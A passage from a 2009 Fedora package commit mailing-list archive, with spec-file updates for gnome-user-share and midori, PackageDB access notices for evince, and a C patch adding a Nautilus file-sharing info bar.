-Release: 3%{?dist}
+Version: 2.28.0
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://www.gnome.org
-Source0: http://download.gnome.org/sources/gnome-user-share/2.25/%{name}-%{version}.tar.bz2
+Source0: http://download.gnome.org/sources/gnome-user-share/2.28/%{name}-%{version}.tar.bz2
 # http://bugzilla.gnome.org/show_bug.cgi?id=578090
 Patch0: menu-path.patch
-# Localized realm in the passwd file doesn't work3
-# http://bugzilla.gnome.org/show_bug.cgi?id=586755
-Patch1: do-not-localize-realms.patch
+# http://bugzilla.gnome.org/show_bug.cgi?id=558244
+Patch1: 0001-Bug-558244-Enabling-gnome-user-share-requires-cha.patch
+BuildRequires: intltool automake autoconf libtool
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: httpd >= 2.2.0
@@ -19,11 +19,13 @@ Requires: mod_dnssd
 BuildRequires: GConf2-devel pkgconfig
 BuildRequires: gtk2-devel >= 2.4.0
 BuildRequires: httpd >= 2.2.0 mod_dnssd >= 0.6
+BuildRequires: gnome-bluetooth-libs-devel
 BuildRequires: desktop-file-utils
 BuildRequires: gnome-doc-utils
 BuildRequires: libselinux-devel
 BuildRequires: dbus-glib-devel
 BuildRequires: libnotify-devel
+BuildRequires: nautilus-devel
 BuildRequires: gettext
 BuildRequires: perl(XML::Parser) intltool
 Requires(post): GConf2
@@ -49,7 +51,9 @@ The program also allows to share files u
 %prep
 %setup -q
 %patch0 -p1 -b .menu-path
-%patch1 -p1 -b .realm-localization
+%patch1 -p1 -b .cluebar
+
+autoreconf -f -i
 
 %build
 %configure
@@ -62,6 +66,8 @@ export GCONF_DISABLE_MAKEFILE_SCHEMA_INS
 make install DESTDIR=$RPM_BUILD_ROOT
 unset GCONF_DISABLE_MAKEFILE_SCHEMA_INSTALL
 
+rm -f $RPM_BUILD_ROOT%{_libdir}/nautilus/extensions-2.0/*.la
+
 desktop-file-install --vendor gnome --delete-original                   \
   --dir $RPM_BUILD_ROOT%{_datadir}/applications			        \
   --add-only-show-in GNOME                                              \
@@ -127,6 +133,9 @@ fi
 %{_datadir}/icons/hicolor/*/apps/gnome-obex-server.png
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-1
+- Update to 2.28.0
+
 * Wed Aug 19 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.26.0-3
 - Do not localize realm in passwd files (#500123)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-11/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	16 Mar 2009 10:31:04 -0000	1.19
+++ sources	20 Oct 2009 15:54:45 -0000	1.20
@@ -1 +1 @@
-c99133b74a81a78ac0e4e10ef73fada7  gnome-user-share-2.26.0.tar.bz2
+8ccaca15e42036b42a54f997ffbac3a7  gnome-user-share-2.28.0.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct 20 15:58:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:58:01 +0000
Subject: [pkgdb] evince had acl change status
Message-ID: <20091020155802.0D38F10F85F@bastion2.fedora.phx.redhat.com>

krh has set the watchcommits acl on evince (Fedora devel) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 15:58:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:58:03 +0000
Subject: [pkgdb] evince had acl change status
Message-ID: <20091020155803.5B90E10F88F@bastion2.fedora.phx.redhat.com>

krh has set the commit acl on evince (Fedora devel) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 15:58:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:58:27 +0000
Subject: [pkgdb] evince had acl change status
Message-ID: <20091020155827.5B20F10F87F@bastion2.fedora.phx.redhat.com>

krh has set the watchcommits acl on evince (Fedora 11) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 15:58:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:58:28 +0000
Subject: [pkgdb] evince had acl change status
Message-ID: <20091020155828.D848D10F88F@bastion2.fedora.phx.redhat.com>

krh has set the commit acl on evince (Fedora 11) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 15:58:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:58:34 +0000
Subject: [pkgdb] evince had acl change status
Message-ID: <20091020155834.3296210F87F@bastion2.fedora.phx.redhat.com>

krh has set the commit acl on evince (Fedora 12) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 15:58:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:58:35 +0000
Subject: [pkgdb] evince had acl change status
Message-ID: <20091020155835.E5EFF10F88F@bastion2.fedora.phx.redhat.com>

krh has set the watchcommits acl on evince (Fedora 12) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/evince



From hadess at fedoraproject.org  Tue Oct 20 15:59:21 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 15:59:21 +0000 (UTC)
Subject: rpms/gnome-user-share/F-11
	0001-Bug-558244-Enabling-gnome-user-share-requires-cha.patch,
	NONE, 1.1
Message-ID: <20091020155921.8576F11C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-user-share/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9815

Added Files:
	0001-Bug-558244-Enabling-gnome-user-share-requires-cha.patch 
Log Message:
add missing patch

0001-Bug-558244-Enabling-gnome-user-share-requires-cha.patch:
 configure.in             |    8 +
 po/POTFILES.in           |    2 
 src/Makefile.am          |   12 +
 src/nautilus-share-bar.c |  226 ++++++++++++++++++++++++++++++++++++
 src/nautilus-share-bar.h |   61 +++++++++
 src/share-extension.c    |  293 ++++++++++++++++++++++++++++++++++++++++++++++-
 6 files changed, 601 insertions(+), 1 deletion(-)

--- NEW FILE 0001-Bug-558244-Enabling-gnome-user-share-requires-cha.patch ---
>From b96970a6bf8f1070a3c08b1c781ef08d2ebce525 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Tue, 8 Sep 2009 17:26:35 +0100
Subject: [PATCH] =?utf-8?q?Bug=C2=A0558244=20-=20Enabling=20gnome-user-share=20requires=20changing=20preference=20in=20capplet?=
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit

Add a cluebar to the Public and Downloads folders, to allow launching
the sharing preferences.
---
 configure.in             |    8 ++
 po/POTFILES.in           |    2 +
 src/Makefile.am          |   12 ++
 src/nautilus-share-bar.c |  226 +++++++++++++++++++++++++++++++++++
 src/nautilus-share-bar.h |   61 ++++++++++
 src/share-extension.c    |  292 ++++++++++++++++++++++++++++++++++++++++++++++
 6 files changed, 601 insertions(+), 0 deletions(-)
 create mode 100644 src/nautilus-share-bar.c
 create mode 100644 src/nautilus-share-bar.h
 create mode 100644 src/share-extension.c

diff --git a/configure.in b/configure.in
index 256c596..b9f772e 100644
--- a/configure.in
+++ b/configure.in
@@ -124,6 +124,14 @@ AC_ARG_WITH([modules-path],
 MODULES_PATH=$with_modules_path
 AC_SUBST(MODULES_PATH)
 
+dnl===========================================================================
+dnl Check for nautilus for the share bar
+
+PKG_CHECK_MODULES(EXTENSION,
+		   libnautilus-extension)
+NAUTILUSDIR=`pkg-config --variable=extensiondir libnautilus-extension`
+AC_SUBST(NAUTILUSDIR)
+
 dnl ==========================================================================
 
 dnl Turn on the additional warnings last, so -Werror doesn't affect other tests.
diff --git a/po/POTFILES.in b/po/POTFILES.in
index 6f7bdec..c094fe0 100644
--- a/po/POTFILES.in
+++ b/po/POTFILES.in
@@ -4,6 +4,8 @@ data/desktop_gnome_file_sharing.schemas.in
 [type: gettext/glade]data/file-share-properties.ui
 data/gnome-user-share-properties.desktop.in
 data/gnome-user-share.desktop.in.in
+src/nautilus-share-bar.c
+src/share-extension.c
 src/file-share-properties.c
 src/http.c
 src/obexpush.c
diff --git a/src/Makefile.am b/src/Makefile.am
index 06a5243..47b22e7 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -26,6 +26,7 @@ INCLUDES=	\
 	-DHTTPD_MODULES_PATH=\""$(MODULES_PATH)"\"	\
 	-I$(top_srcdir) 				\
 	-I$(top_builddir) 				\
+	$(EXTENSION_CFLAGS)				\
 	$(USER_SHARE_CFLAGS)				\
 	$(USER_SHARE_CONFIG_CFLAGS)			\
 	$(X_CFLAGS)
@@ -56,6 +57,17 @@ gnome_file_share_properties_SOURCES =	\
 gnome_file_share_properties_LDADD = \
 	$(USER_SHARE_CONFIG_LIBS)
 
+nautilus_extensiondir = $(NAUTILUSDIR)
+nautilus_extension_LTLIBRARIES = libnautilus-share-extension.la
+
+libnautilus_share_extension_la_SOURCES =         \
+	nautilus-share-bar.c                     \
+	nautilus-share-bar.h                     \
+	share-extension.c                        \
+	$(NULL)
+
+libnautilus_share_extension_la_LIBADD = $(EXTENSION_LIBS)
+libnautilus_share_extension_la_LDFLAGS = -avoid-version -module -no-undefined
 
 EXTRA_DIST = marshal.list
 
diff --git a/src/nautilus-share-bar.c b/src/nautilus-share-bar.c
new file mode 100644
index 0000000..b3c427c
--- /dev/null
+++ b/src/nautilus-share-bar.c
@@ -0,0 +1,226 @@
+/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*-
+ *
+ * Copyright (C) 2005 William Jon McCann <mccann at jhu.edu>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+ *
+ * Authors: William Jon McCann <mccann at jhu.edu>
+ *
+ */
+
+#include "config.h"
+
+#include <glib/gi18n-lib.h>
+#include <gtk/gtk.h>
+
+#include "nautilus-share-bar.h"
+
+static void nautilus_share_bar_finalize   (GObject *object);
+
+#define NAUTILUS_SHARE_BAR_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), NAUTILUS_TYPE_SHARE_BAR, NautilusShareBarPrivate))
+
+struct NautilusShareBarPrivate
+{
+        GtkTooltips *tooltips;
+        GtkWidget   *button;
+        GtkWidget   *label;
+        char        *str;
+};
+
+enum {
+	PROP_0,
+	PROP_LABEL
+};
+
+enum {
+       ACTIVATE,
+       LAST_SIGNAL
+};
+
+static guint           signals [LAST_SIGNAL] = { 0, };
+
+G_DEFINE_TYPE (NautilusShareBar, nautilus_share_bar, GTK_TYPE_HBOX)
+
+GtkWidget *
+nautilus_share_bar_get_button (NautilusShareBar *bar)
+{
+        GtkWidget *button;
+
+        g_return_val_if_fail (bar != NULL, NULL);
+
+        button = bar->priv->button;
+
+        return button;
+}
+
+static void
+nautilus_share_bar_set_property (GObject            *object,
+                                guint               prop_id,
+                                const GValue       *value,
+                                GParamSpec         *pspec)
+{
+        NautilusShareBar *self;
+
+        self = NAUTILUS_SHARE_BAR (object);
+
+        switch (prop_id) {
+	case PROP_LABEL: {
+		char *str;
+		g_free (self->priv->str);
+		str = g_strdup_printf ("<i>%s</i>", g_value_get_string (value));
+		gtk_label_set_markup (GTK_LABEL (self->priv->label), str);
+		self->priv->str = g_value_dup_string (value);
+		break;
+	}
+        default:
+                G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
+                break;
+        }
+}
+
+static void
+nautilus_share_bar_get_property (GObject    *object,
+                                guint       prop_id,
+                                GValue     *value,
+                                GParamSpec *pspec)
+{
+        NautilusShareBar *self;
+
+        self = NAUTILUS_SHARE_BAR (object);
+
+        switch (prop_id) {
+	case PROP_LABEL:
+		g_value_set_string (value, self->priv->str);
+		break;
+        default:
+                G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
+                break;
+        }
+}
+
+static void
+nautilus_share_bar_class_init (NautilusShareBarClass *klass)
+{
+        GObjectClass   *object_class = G_OBJECT_CLASS (klass);
+
+        object_class->finalize     = nautilus_share_bar_finalize;
+        object_class->get_property = nautilus_share_bar_get_property;
+        object_class->set_property = nautilus_share_bar_set_property;
+
+        g_type_class_add_private (klass, sizeof (NautilusShareBarPrivate));
+
+        g_object_class_install_property (G_OBJECT_CLASS(klass),
+					 PROP_LABEL, g_param_spec_string ("label",
+									  "label", "The widget's main label", NULL, G_PARAM_READWRITE));
+
+
+        signals [ACTIVATE] = g_signal_new ("activate",
+                                           G_TYPE_FROM_CLASS (klass),
+                                           G_SIGNAL_RUN_LAST,
+                                           G_STRUCT_OFFSET (NautilusShareBarClass, activate),
+                                           NULL, NULL,
+                                           g_cclosure_marshal_VOID__VOID,
+                                           G_TYPE_NONE, 0);
+
+}
+
+static void
+button_clicked_cb (GtkWidget       *button,
+                   NautilusShareBar *bar)
+{
+        g_signal_emit (bar, signals [ACTIVATE], 0);
+}
+
+static void
+nautilus_share_bar_init (NautilusShareBar *bar)
+{
+	GtkWidget   *label;
+        GtkWidget   *hbox;
+        GtkWidget   *vbox;
+        GtkWidget   *image;
+        char        *hint;
+
+        bar->priv = NAUTILUS_SHARE_BAR_GET_PRIVATE (bar);
+
+        bar->priv->tooltips = gtk_tooltips_new ();
+        g_object_ref (bar->priv->tooltips);
+        gtk_object_sink (GTK_OBJECT (bar->priv->tooltips));
+
+        hbox = GTK_WIDGET (bar);
+
+        vbox = gtk_vbox_new (FALSE, 6);
+        gtk_widget_show (vbox);
+        gtk_box_pack_start (GTK_BOX (hbox), vbox, TRUE, TRUE, 0);
+
+        label = gtk_label_new (_("Personal File Sharing"));
+        gtk_misc_set_alignment (GTK_MISC (label), 0.0, 0.5);
+        gtk_widget_show (label);
+        gtk_box_pack_start (GTK_BOX (vbox), label, TRUE, TRUE, 0);
+
+        bar->priv->label = gtk_label_new ("");
+        hint = g_strdup_printf ("<i>%s</i>", "");
+        gtk_label_set_markup (GTK_LABEL (bar->priv->label), hint);
+        gtk_misc_set_alignment (GTK_MISC (bar->priv->label), 0.0, 0.5);
+        gtk_widget_show (bar->priv->label);
+        gtk_box_pack_start (GTK_BOX (vbox), bar->priv->label, TRUE, TRUE, 0);
+
+        bar->priv->button = gtk_button_new_with_label (_("Launch Preferences"));
+        gtk_widget_show (bar->priv->button);
+        gtk_box_pack_end (GTK_BOX (hbox), bar->priv->button, FALSE, FALSE, 0);
+
+        image = gtk_image_new_from_icon_name ("folder-remote", GTK_ICON_SIZE_BUTTON);
+        gtk_widget_show (image);
+        gtk_button_set_image (GTK_BUTTON (bar->priv->button), image);
+
+        g_signal_connect (bar->priv->button, "clicked",
+                          G_CALLBACK (button_clicked_cb),
+                          bar);
+
+        gtk_tooltips_set_tip (GTK_TOOLTIPS (bar->priv->tooltips),
+                              bar->priv->button,
+                              _("Launch Personal File Sharing Preferences"),
+                              NULL);
+}
+
+static void
+nautilus_share_bar_finalize (GObject *object)
+{
+        NautilusShareBar *bar;
+
+        g_return_if_fail (object != NULL);
+        g_return_if_fail (NAUTILUS_IS_SHARE_BAR (object));
+
+        bar = NAUTILUS_SHARE_BAR (object);
+
+        g_return_if_fail (bar->priv != NULL);
+
+        if (bar->priv->tooltips != NULL) {
+                g_object_unref (bar->priv->tooltips);
+        }
+
+        G_OBJECT_CLASS (nautilus_share_bar_parent_class)->finalize (object);
+}
+
+GtkWidget *
+nautilus_share_bar_new (const char *label)
+{
+        GObject *result;
+
+        result = g_object_new (NAUTILUS_TYPE_SHARE_BAR,
+        		       "label", label,
+                               NULL);
+
+        return GTK_WIDGET (result);
+}
diff --git a/src/nautilus-share-bar.h b/src/nautilus-share-bar.h
new file mode 100644
index 0000000..b7fb1fd
--- /dev/null
+++ b/src/nautilus-share-bar.h
@@ -0,0 +1,61 @@
+/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*-
+ *
+ * Copyright (C) 2005 William Jon McCann <mccann at jhu.edu>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+ *
+ * Authors: William Jon McCann <mccann at jhu.edu>
+ *
+ */
+
+#ifndef __NAUTILUS_SHARE_BAR_H
+#define __NAUTILUS_SHARE_BAR_H
+
+#include <gtk/gtk.h>
+
+G_BEGIN_DECLS
+
+#define NAUTILUS_TYPE_SHARE_BAR         (nautilus_share_bar_get_type ())
+#define NAUTILUS_SHARE_BAR(o)           (G_TYPE_CHECK_INSTANCE_CAST ((o), NAUTILUS_TYPE_SHARE_BAR, NautilusShareBar))
+#define NAUTILUS_SHARE_BAR_CLASS(k)     (G_TYPE_CHECK_CLASS_CAST((k), NAUTILUS_TYPE_SHARE_BAR, NautilusShareBarClass))
+#define NAUTILUS_IS_SHARE_BAR(o)        (G_TYPE_CHECK_INSTANCE_TYPE ((o), NAUTILUS_TYPE_SHARE_BAR))
+#define NAUTILUS_IS_SHARE_BAR_CLASS(k)  (G_TYPE_CHECK_CLASS_TYPE ((k), NAUTILUS_TYPE_SHARE_BAR))
+#define NAUTILUS_SHARE_BAR_GET_CLASS(o) (G_TYPE_INSTANCE_GET_CLASS ((o), NAUTILUS_TYPE_SHARE_BAR, NautilusShareBarClass))
+
+typedef struct NautilusShareBarPrivate NautilusShareBarPrivate;
+
+typedef struct
+{
+        GtkHBox                 box;
+
+        NautilusShareBarPrivate *priv;
+} NautilusShareBar;
+
+typedef struct
+{
+        GtkHBoxClass            parent_class;
+
+	void (* activate) (NautilusShareBar *bar);
+
+} NautilusShareBarClass;
+
+GType       nautilus_share_bar_get_type          (void);
+GtkWidget  *nautilus_share_bar_new               (const char *label);
+
+GtkWidget  *nautilus_share_bar_get_button        (NautilusShareBar *bar);
+
+G_END_DECLS
+
+#endif /* __GS_SHARE_BAR_H */
diff --git a/src/share-extension.c b/src/share-extension.c
new file mode 100644
index 0000000..036ecd3
--- /dev/null
+++ b/src/share-extension.c
@@ -0,0 +1,292 @@
+/* -*- Mode: C; indent-tabs-mode: nil; c-basic-offset: 8; tab-width: 8 -*-
+ *
+ * Copyright (C) 2003 Novell, Inc.
+ * Copyright (C) 2003-2004 Red Hat, Inc.
+ * Copyright (C) 2005 William Jon McCann <mccann at jhu.edu>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public
+ * License along with this program; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ *
+ */
+
+#include "config.h"
+
+#include <stdlib.h>
+#include <string.h>
+#include <glib/gi18n-lib.h>
+#include <gtk/gtk.h>
+#include <libnautilus-extension/nautilus-menu-provider.h>
+#include <libnautilus-extension/nautilus-location-widget-provider.h>
+
+#include "nautilus-share-bar.h"
+
+#define NAUTILUS_TYPE_SHARE  (nautilus_share_get_type ())
+#define NAUTILUS_SHARE(o)    (G_TYPE_CHECK_INSTANCE_CAST ((o), NAUTILUS_TYPE_SHARE, NautilusShare))
+#define NAUTILUS_IS_SHARE(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), NAUTILUS_TYPE_SHARE))
+
+typedef struct _NautilusSharePrivate NautilusSharePrivate;
+
+typedef struct
+{
+        GObject              parent_slot;
+        NautilusSharePrivate *priv;
+} NautilusShare;
+
+typedef struct
+{
+        GObjectClass parent_slot;
+} NautilusShareClass;
+
+#define NAUTILUS_SHARE_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), NAUTILUS_TYPE_SHARE, NautilusSharePrivate))
+
+struct _NautilusSharePrivate
+{
+        GSList       *widget_list;
+};
+
+static GType nautilus_share_get_type      (void);
+static void  nautilus_share_register_type (GTypeModule *module);
+
+static GObjectClass *parent_class;
+
+
+static void
+launch_process (char **argv, GtkWindow *parent)
+{
+        GError *error;
+        GtkWidget *dialog;
+
+        error = NULL;
+        if (!g_spawn_async (NULL,
+                            argv, NULL,
+                            0,
+                            NULL, NULL,
+                            NULL,
+                            &error)) {
+
+
+                dialog = gtk_message_dialog_new (NULL, GTK_DIALOG_MODAL, GTK_MESSAGE_WARNING,
+						 GTK_BUTTONS_OK, _("Unable to launch the Personal File Sharing preferences"));
+
+                gtk_message_dialog_format_secondary_text (GTK_MESSAGE_DIALOG (dialog), "%s", error->message);
+
+                gtk_dialog_run (GTK_DIALOG (dialog));
+                gtk_widget_destroy (dialog);
+
+                g_error_free (error);
+        }
+}
+
+static void
+launch_prefs_on_window (GtkWindow *window)
+{
+        char *argv [2];
+
+        argv [0] = g_build_filename (BINDIR, "gnome-file-share-properties", NULL);
+        argv [1] = NULL;
+
+        launch_process (argv, window);
+
+        g_free (argv [0]);
+}
+
+static void
+bar_activated_cb (NautilusShareBar *bar,
+                  gpointer         data)
+{
+        launch_prefs_on_window (GTK_WINDOW (data));
+}
+
+static void
+destroyed_callback (GtkWidget    *widget,
+                    NautilusShare *share)
+{
+        share->priv->widget_list = g_slist_remove (share->priv->widget_list, widget);
+}
+
+static void
+add_widget (NautilusShare *share,
+              GtkWidget    *widget)
+{
+        share->priv->widget_list = g_slist_prepend (share->priv->widget_list, widget);
+
+        g_signal_connect (widget, "destroy",
+                          G_CALLBACK (destroyed_callback),
+                          share);
+}
+
+static GtkWidget *
+nautilus_share_get_location_widget (NautilusLocationWidgetProvider *iface,
+                                   const char                     *uri,
+                                   GtkWidget                      *window)
+{
+	GFile         *file;
+	GtkWidget     *bar;
+	NautilusShare *share;
+	guint          i;
+	gboolean       enable = FALSE;
+	const GUserDirectory special_dirs[] = { G_USER_DIRECTORY_PUBLIC_SHARE, G_USER_DIRECTORY_DOWNLOAD };
+	gboolean is_dir[] = { FALSE, FALSE };
+
+	file = g_file_new_for_uri (uri);
+
+	for (i = 0; i < G_N_ELEMENTS (special_dirs); i++) {
+		const char *path;
+
+		path = g_get_user_special_dir (special_dirs[i]);
+		if (path != NULL) {
+			GFile *dir;
+			dir = g_file_new_for_path (path);
+			if (g_file_equal (dir, file)) {
+				enable = TRUE;
+				is_dir[i] = TRUE;
+			}
+			g_object_unref (dir);
+		}
+	}
+
+	if (enable == FALSE)
+		return NULL;
+
+	share = NAUTILUS_SHARE (iface);
+
+	if (is_dir[0] != FALSE && is_dir[1] != FALSE) {
+		bar = nautilus_share_bar_new (_("You can share files from this folder and receive files to it"));
+	} else if (is_dir[0] != FALSE) {
+		bar = nautilus_share_bar_new (_("You can share files from this folder over the network and Bluetooth"));
+	} else {
+		bar = nautilus_share_bar_new (_("You can receive files over Bluetooth into this folder"));
+	}
+
+	add_widget (share, nautilus_share_bar_get_button (NAUTILUS_SHARE_BAR (bar)));
+
+	g_signal_connect (bar, "activate",
+			  G_CALLBACK (bar_activated_cb),
+			  window);
+
+	gtk_widget_show (bar);
+
+	g_object_unref (file);
+
+        return bar;
+}
+
+static void
+nautilus_share_location_widget_provider_iface_init (NautilusLocationWidgetProviderIface *iface)
+{
+        iface->get_widget = nautilus_share_get_location_widget;
+}
+
+static void
+nautilus_share_instance_init (NautilusShare *share)
+{
+        share->priv = NAUTILUS_SHARE_GET_PRIVATE (share);
+}
+
+static void
+nautilus_share_finalize (GObject *object)
+{
+        NautilusShare *share;
+
+        g_return_if_fail (object != NULL);
+        g_return_if_fail (NAUTILUS_IS_SHARE (object));
+
+        share = NAUTILUS_SHARE (object);
+
+        g_return_if_fail (share->priv != NULL);
+
+        if (share->priv->widget_list != NULL) {
+                g_slist_free (share->priv->widget_list);
+        }
+
+        G_OBJECT_CLASS (parent_class)->finalize (object);
+}
+
+static void
+nautilus_share_class_init (NautilusShareClass *klass)
+{
+        GObjectClass *object_class = G_OBJECT_CLASS (klass);
+
+        parent_class = g_type_class_peek_parent (klass);
+
+        object_class->finalize = nautilus_share_finalize;
+
+        g_type_class_add_private (klass, sizeof (NautilusSharePrivate));
+}
+
+static GType share_type = 0;
+
+static GType
+nautilus_share_get_type (void)
+{
+        return share_type;
+}
+
+static void
+nautilus_share_register_type (GTypeModule *module)
+{
+        static const GTypeInfo info = {
+                sizeof (NautilusShareClass),
+                (GBaseInitFunc) NULL,
+                (GBaseFinalizeFunc) NULL,
+                (GClassInitFunc) nautilus_share_class_init,
+                NULL,
+                NULL,
+                sizeof (NautilusShare),
+                0,
+                (GInstanceInitFunc) nautilus_share_instance_init,
+        };
+
+        static const GInterfaceInfo location_widget_provider_iface_info = {
+                (GInterfaceInitFunc) nautilus_share_location_widget_provider_iface_init,
+                NULL,
+                NULL
+        };
+
+        share_type = g_type_module_register_type (module,
+                                                 G_TYPE_OBJECT,
+                                                 "NautilusShare",
+                                                 &info, 0);
+
+        g_type_module_add_interface (module,
+                                     share_type,
+                                     NAUTILUS_TYPE_LOCATION_WIDGET_PROVIDER,
+                                     &location_widget_provider_iface_info);
+}
+
+void
+nautilus_module_initialize (GTypeModule *module)
+{
+        nautilus_share_register_type (module);
+        bindtextdomain (GETTEXT_PACKAGE, GNOMELOCALEDIR);
+        bind_textdomain_codeset (GETTEXT_PACKAGE, "UTF-8");
+}
+
+void
+nautilus_module_shutdown (void)
+{
+}
+
+void
+nautilus_module_list_types (const GType **types,
+                            int          *num_types)
+{
+        static GType type_list [1];
+
+        type_list[0] = NAUTILUS_TYPE_SHARE;
+
+        *types = type_list;
+        *num_types = 1;
+}
-- 
1.6.2.5




From pgordon at fedoraproject.org  Tue Oct 20 16:01:43 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Tue, 20 Oct 2009 16:01:43 +0000 (UTC)
Subject: rpms/midori/F-12 .cvsignore, 1.14, 1.15 midori.spec, 1.27,
	1.28 sources, 1.14, 1.15
Message-ID: <20091020160143.ED34E11C0081@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/midori/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10418

Modified Files:
	.cvsignore midori.spec sources 
Log Message:
Update to 0.2.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/midori/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	16 Sep 2009 02:50:07 -0000	1.14
+++ .cvsignore	20 Oct 2009 16:01:43 -0000	1.15
@@ -1 +1 @@
-midori-0.1.10.tar.bz2
+midori-0.2.0.tar.bz2


Index: midori.spec
===================================================================
RCS file: /cvs/pkgs/rpms/midori/F-12/midori.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- midori.spec	16 Sep 2009 02:50:10 -0000	1.27
+++ midori.spec	20 Oct 2009 16:01:43 -0000	1.28
@@ -1,5 +1,5 @@
 Name:		midori
-Version:	0.1.10
+Version:	0.2.0
 Release:	1%{?dist}
 Summary:	A lightweight GTK+ web browser 
 
@@ -98,9 +98,17 @@ fi
 %{_datadir}/%{name}/
 %{_libdir}/%{name}/
 %{_sysconfdir}/xdg/%{name}/
+%config(noreplace) %{_sysconfdir}/%{name}/extensions/*/config
+%{_sysconfdir}/%{name}
 
 
 %changelog
+* Tue Oct 20 2009 Peter Gordon <peter at thecodergeek.com> - 0.2.0-1
+- Update to new upstream release (0.2.0): Drag-scroll on touchscreen devices,
+  Speed Dial fixes, faster AdBlock (for all WebKitGTK+ versions), updated DNS
+  and IDN handling, new form history extension, various bookmark and history
+  fixes.
+
 * Tue Sep 15 2009 Peter Gordon <peter at thecodergeek.com> - 0.1.10-1
 - Update to new upstream release (0.1.10): Updated AdBlock for WebKitGTK+
   1.1.14, improved address completion, fixes for tab and feed handling, better


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/midori/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	16 Sep 2009 02:50:10 -0000	1.14
+++ sources	20 Oct 2009 16:01:43 -0000	1.15
@@ -1 +1 @@
-97b6a3a3ccb8458c68c335b2ee8e9197  midori-0.1.10.tar.bz2
+805e2e59a93a0a4b7652d6547b2bd923  midori-0.2.0.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 20 16:02:51 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
